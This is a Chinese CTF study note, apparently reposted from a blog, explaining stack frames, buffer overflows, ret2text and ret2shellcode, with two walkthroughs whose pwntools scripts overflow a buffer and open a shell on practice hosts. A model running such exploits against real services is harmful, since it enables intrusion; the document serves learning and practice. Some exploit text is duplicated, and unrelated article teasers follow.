pwn学习笔记(2)

pwn学习笔记(2)

1.三种常见的寄存器:

​ ax寄存器:通用寄存器,可用于存放多种数据

​ bp寄存器:存放的是栈帧的栈底地址

​ sp寄存器:存放的是栈顶的地址

2.栈帧与栈工作的简介:

​ 栈帧是存储函数的一些信息的地方,栈帧存储有函数的局部变量,传递给子函数的实际参数,父函数的地址以及上一个栈帧栈底的地址,大致情况如下:

在这里插入图片描述

​ 在函数调用的过程中,首先会讲bp寄存器的值进行压栈,以方便在恢复的时候恢复栈底寄存器的值,再之后,会按顺序将局部变量压栈,最后是子函数的实际参数,会按照先入栈的后出栈,从最后一个实际参数先入栈再到第一个实际参数,比如函数a(int a , int b),压栈的方式就是先压栈b的实际参数,再压栈a的实际参数,当这些压栈完成之后,就可以压栈父函数调用子函数的那条语句的下一条语句的地址,紧接着,可以压栈当前栈帧的栈底地址了。

​ 具体的汇编语言实现就不多做解释了,因为我这里只是简述。

3.缓冲区溢出漏洞:

​ 缓冲区溢出楼哦对那个的本质就是向定长的缓冲区中写入了超长的数据,造成了写入的数据覆盖了其他合法的内存区域。

4.栈溢出之–ret2text:

(1)原理:

​ ret2text应该是最简单的栈溢出漏洞利用的方式也是最简单的:

​ 假设,在栈中,存在如下情况:

在这里插入图片描述

其C程序源代码如下:

int overflow()
{
	char buf[8];
    gets(buf);
}

当程序运行到gets的时候,因为gets没有对用户输入的内容的长度进行限制,就导致了本来最多输入8字节的内容,结果输入了超过8字节的内容导致了溢出,覆盖掉了bp寄存器以及返回地址的值,如下:

在这里插入图片描述

​ 之后,可以通过如上的原理,将返回地址的值修改为程序自带的后门函数(如system(“/bin/sh”))中即可。

(2)题目示例–[NSSCTF 2022 Spring Recruit]R3m4ke?:

​ 拿到ELF文件之后第一步应该先检查相关的保护,因为保护这里还没有讲,所以这里拿到的是一个只开了NX保护的题目,该保护对这道题几乎没有什么影响。

在这里插入图片描述

​ 这里可以看出,这个文件是一个64位的小端序文件,所以这里使用IDA进行反编译:
在这里插入图片描述

​ 这里可以很直观的发现,该函数声明了一个32字节的变量,之后通过gets()函数来写入内容,但是却没有对长度进行相关的限制,因此存在溢出漏洞,这个时候就只需要找到后门函数的地址即可,之后通过Sheft+F12,找到/bin/sh这个字符串,然后跟进,发现它存在于一个叫做LookAtMe()这个函数中,这里,也可以直接从函数视图中找到后门:

在这里插入图片描述

​ 这里可以找到后门函数的地址,及0x40072C,因此,这里就可以编写exp,如下

from pwn import *
io = remote("node4.anna.nssctf.cn",28043)
payload = b"a"*0x28 + p64(0x40072C)
io.sendline(payload)
io.interactive()

​ 运行代码之后成功拿到了目标主机的shell:

在这里插入图片描述

5.栈溢出之–ret2shellcode:

(1)原理:

​ 该方法原理与ret2shellcode类似,只是,原本存在的后门没有了,但是给了足够的可写入的地方于用户写入shellcode代码,这里前期存在两种方法写入shellcode,第一种是写入Stack中,第二种是写入bss段,准确地说,必须当一个段中存在可写可执行的权限时才能进行ret2shellcode。

​ 步骤大致是,首先修改下一些配置信息,比如context.arch,当程序时64位时,应该讲此修改为amd64;之后,让python程序自动生成一个shellcode或者去相应的地方找,python的相关代码是:shellcraft[.amd64].sh();之后通过asm()函数将生成的shllcode编译成机器码;然后就是发送相关的垃圾数据之类的进行后续操作。

(2)题目案例–[HNCTF 2022 Week1]ret2shellcode

​ 先查看它的保护类型:

在这里插入图片描述

发现跟上一个一致,这里可以简单说下NX保护,NX保护是栈不可执行,开启了这个保护之后,在栈上写入的shellcode将不会因为我们修改的return address的值而执行,因此,我们可以把目标放到bss段上,不过,首先还是得确保bss段是否存在可执行权限。

​ 对于这道题,首先应该反编译,得到伪代码:

在这里插入图片描述

我们可以发现,在main函数中,这里并没有生命buff变量, 但是这里却可以直接使用,说明buff是在全局变量中进行的声明,因此这里跟进这个变量,发现其在bss段中:

在这里插入图片描述

另外,通过pwndbg的vmmap命令可以知道这段内存存在可执行的权限:

在这里插入图片描述

因此,这个题目的思路就很明了了,首先是程序的分析,通过写入字符串给s,然后将s的内容复制给buff,限制的s的写入长度长于256字节,因此存在缓冲区溢出漏洞,这里就很明了了,代码如下:

from pwn import *
io = remote("node5.anna.nssctf.cn",28172)
context.arch = "amd64"
shellcode = asm(shellcraft.amd64.sh())
buff = 0x4040A0
payload = shellcode.ljust(0x108,b'A') + p64(buff)
io.sendline(payload)
io.interactive()

最后成功拿到目标shell:

x4040A0
payload = shellcode.ljust(0x108,b’A’) + p64(buff)
io.sendline(payload)
io.interactive()


最后成功拿到目标shell:

![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/52851acf64c0452f9dcff98caec859a4.png#pic_center)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/372238.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

arping交叉编译

arping命令依赖libpcap和libnet,需要先交叉编译这两个库。 1.交叉编译libpcap 下载libpcap源文件,从github上克隆: git clone https://github.com/the-tcpdump-group/libpcap.git source交叉编译环境 # environment-setup是本机的交叉编译环境, 里面…

Centos7配置登录失败处理导致root被锁定处理办法

1、应用场景 root用户被系统锁定,无法登录系统。 2、问题现象 root锁定无法登录系统 3、原因 设置登录失败处理并对root用户生效,一直尝试错误的root密码或暴力破解root密码,导致无法自动解锁Linux的root账户 4、解决方案 1.将虚拟机开…

0 代码自动化测试:RF 框架实现企业级 UI 自动化测试

前言 现在大家去找工作,反馈回来的基本上自动化测试都是刚需!没有自动化测试技能,纯手工测试基本没有什么市场。 但是很多人怕代码,觉得自动化测试就需要代码!代码学习起来很难! 当然代码学习不难&#xf…

重生奇迹MU如何挂机

1、重生奇迹MU觉醒哪里挂机经验多挂机收益最大化,在重生奇迹MU中玩家可以通过副本获得大量的经验和金币,甚至挂机也有不错的收益,对于玩家来说 2、卡利玛神庙、血色城堡、迷失之城、恶魔广场甚至是挂机自动刷怪,组队都会有经验加…

骑砍战团MOD开发(43)-顶点着色技术

一.顶点着色(vertex_color) 实际GPU渲染时有顶点着色和纹理着色两种方式,顶点着色消耗资源小,GPU将顶点颜色通过插值运算进行渲染.常用于同一物体的不同颜色渲染,如青苹果,红苹果,可以使用动态切换顶点颜色实现,而不通过设置纹理图片实现. Direct3D9中可声明灵活顶点格式 stru…

TorchVision的使用方法、更改默认路径

TorchVision的使用 1. 转换和增强图像 torchvision.transforms.v2 参数作用Resize将输入调整为给定大小RandomShortestSize随机调整输入的大小RandomResize随机调整输入的大小RandomCrop在随机位置裁剪输入RandomResizedCrop裁剪输入的随机部分并将其调整为给定大小RandomIoU…

为什么PCB地与金属机壳用阻容连接?

笔者电子信息专业硕士毕业,获得过多次电子设计大赛、大学生智能车、数学建模国奖,现就职于南京某半导体芯片公司,从事硬件研发,电路设计研究。对于学电子的小伙伴,深知入门的不易,特开次博客交流分享经验&a…

Java的值传递与“引用传递”辨析

目录 Java的值传递与“引用传递”辨析1. 传递方式概述2. 值传递示例3. “引用传递”示例4. 值传递与"引用传递"的实际应用5. 总结:java只有值传递 Java的值传递与“引用传递”辨析 欢迎来到本博客,今天我们将深入研究Java中是值传递还是引用传…

【文件增量备份系统】前端项目构建

文章目录 创建项目安装项目依赖引入element plus组件下载组件在main.js中使用组件测试 整合路由router下载组件创建路由管理器index.js使用路由App.vue上面使用 <router-view />测试 整合axios下载组件工具类axiosRequest.js工具类使用 创建项目 damwangrunqindeMBP dev…

蓝桥杯刷题day06——平均

1、题目描述 有一个长度为n 的数组&#xff08;n 是 10 的倍数&#xff09;&#xff0c;每个数ai都是区间 [0,9] 中的整数。 小明发现数组里每种数出现的次数不太平均&#xff0c;而更改第i 个数的代价为bi&#xff0c; 他想更改若干个数的值使得这10 种数出现的次数相等&…

论文阅读-一个用于云计算中自我优化的通用工作负载预测框架

论文标题&#xff1a;A Self-Optimized Generic Workload Prediction Framework for Cloud Computing 概述 准确地预测未来的工作负载&#xff0c;如作业到达率和用户请求率&#xff0c;对于云计算中的资源管理和弹性非常关键。然而&#xff0c;设计一个通用的工作负载预测器…

软考 系统分析师系列知识点之信息系统战略规划方法(1)

所属章节&#xff1a; 第7章. 企业信息化战略与实施 第4节. 信息系统战略规划方法 信息系统战略规划&#xff08;Information System Strategic Planning&#xff0c;ISSP&#xff09;是从企业战略出发&#xff0c;构建企业基本的信息架构&#xff0c;对企业内、外信息资源进行…

AI专题:海外科技巨头指引,AI主线逻辑依旧坚挺

今天分享的是AI 系列深度研究报告&#xff1a;《AI专题&#xff1a;海外科技巨头指引&#xff0c;AI主线逻辑依旧坚挺》。 &#xff08;报告出品方&#xff1a;华西证券&#xff09; 报告共计&#xff1a;54页 本周热点:海外科技巨头指引&#xff0c;AI主线逻辑依旧坚挺 硬件…

【教3妹学编程-算法题】1696. 跳跃游戏 VI

3妹&#xff1a;好冷啊&#xff0c; 冻得瑟瑟发抖啦 2哥 : 没想到都立春了还这么冷啊~ 3妹&#xff1a;暴雪、冻雨、大雨&#xff0c;这天气还让不让人活啦&#xff01;&#xff01;&#xff01; 2哥 :哎&#xff0c;好多人都滞留的高铁站了&#xff0c;没法回家了 3妹&#xf…

Jetson AGX Orin安装Anaconda,Cuda,Cudnn,pytorch,Tensorrt,ROS

Anaconda&#xff1a;https://repo.anaconda.com/archive/ Cuda&#xff1a;https://forums.developer.nvidia.com/t/pytorch-for-jetson/72048 1&#xff1a;安装Anaconda3 下载&#xff1a;Anaconda3-2021.11-Linux-aarch64.sh chmod x Anaconda3-2021.11-Linux-aarch64.s…

部署自己的捕鱼达人

目录 效果 安装 1.安装httpd 2.下载捕鱼达人 3.启动httpd 效果 安装 1.安装httpd yum -y install httpd systemctl enable httpd 2.下载捕鱼达人 cd /var/www/html/ git clone https://gitee.com/WangZhe168_admin/Fishing-talentGame.git 3.启动httpd systemctl st…

SpringCloud+RabbitMQ+Docker+Redis+搜索+分布式 基础(持续更新~)

具体操作&#xff1a; day2: 作用&#xff1a; 出现跨域问题 配相对应进行配置即可解决&#xff1a; IDEA连接的&#xff0c;在url最后加参数?useSSLfalse注意链接密码是123&#xff08;docker中mysql密码&#xff09; 注意&#xff0c;虚拟机中设置的密码和ip要和主机上…

基于Java (spring-boot)的交通管理系统

一、项目介绍 基于Java (spring-boot)的交通管理系统功能&#xff1a;注册登录、个人信息管理、驾驶证业务类型管理、机动车业务类型管理、新闻类型管理、违法处理业务类型管理、驾驶证业务管理、机动车业务管理、新闻管理、违法处理业务管理、用户管理。 二、作品包含 三、项目…

【RT-DETR有效改进】UNetv2提出的一种SDI多层次特征融合模块(细节高效涨点)

👑欢迎大家订阅本专栏,一起学习RT-DETR👑 一、本文介绍 本问给大家带来的改进机制是UNetv2提出的一种多层次特征融合模块(SDI)其是一种用于替换Concat操作的模块,SDI模块的主要思想是通过整合编码器生成的层级特征图来增强图像中的语义信息和细节信息。包括皮肤…

【优先级队列(大顶堆 小顶堆)】【遍历哈希表键值对】Leetcode 347 前K个高频元素

【优先级队列&#xff08;大顶堆 小顶堆&#xff09;】【排序】Leetcode 347 前K个高频元素 1.不同排序法归纳2.大顶堆和小顶堆3.PriorityQueue操作4.PriorityQueue的升序&#xff08;默认&#xff09;与降序5.问题解决&#xff1a;找前K个最大的元素 &#xff1a;踢走最小的&…